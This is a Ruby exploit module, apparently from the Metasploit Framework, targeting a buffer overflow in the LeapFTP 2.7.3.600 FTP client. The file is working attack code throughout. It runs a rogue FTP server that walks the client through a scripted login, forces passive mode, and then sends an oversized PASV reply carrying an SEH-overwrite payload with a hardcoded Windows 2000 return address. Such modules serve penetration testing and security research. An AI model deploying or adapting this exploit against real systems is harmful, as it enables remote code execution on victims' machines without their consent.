124 lines
3.0 KiB
Ruby
124 lines
3.0 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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module Msf
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class Exploits::Windows::Ftp::LeapFTP_PASV_Reply < Exploit::Remote
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include Exploit::Remote::TcpServer
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600
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client that is triggered through an excessively long PASV reply command. This
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module was ported from the original exploit by drG4njubas with minor improvements.
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},
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'Author' => 'Patrick Webster <patrick@aushack.com>',
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 4460 $',
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'References' =>
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[
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[ 'URL', 'http://www.milw0rm.com/exploits/54' ],
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[ 'CVE', '2003-0558' ],
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[ 'BID', '7860' ],
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[ 'OSVDB', '4587' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x0a\x0d\().,",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP0/4 English',
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{
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'Ret' => 0x75022ac4, # p/p/r ws2help.dll w2k pro en all
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'Offset' => 1053,
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 09 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
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OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
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client.put(buffer)
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end
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def on_client_data(client)
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client.get_once
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# This could be improved if anyone wants to write a FTP server API.
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user = "331 Please specify the password.\r\n"
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client.put(user)
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client.get_once
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pass = "230 Login successful.\r\n"
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client.put(pass)
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client.get_once
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syst = "215 Windows_NT 5.1\r\n"
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client.put(syst)
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client.get_once
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rest = "350 Restart position accepted (100).\r\n"
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client.put(rest)
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client.get_once
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rest = "350 Restart position accepted (0).\r\n"
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client.put(rest)
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client.get_once
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pwd = "257 \"/\"\r\n"
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client.put(pwd)
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client.get_once
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type = "200 Switching to ASCII mode.\r\n"
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client.put(type)
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client.get_once
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port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.
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client.put(port)
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client.get_once
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pasv = "227 Entering Passive Mode (" + "1" * target['Offset'] + generate_seh_payload(target.ret) + ",1,2,3,4,5)\r\n"
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client.put(pasv)
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handler(client)
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service.close_client(client)
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end
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end
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end
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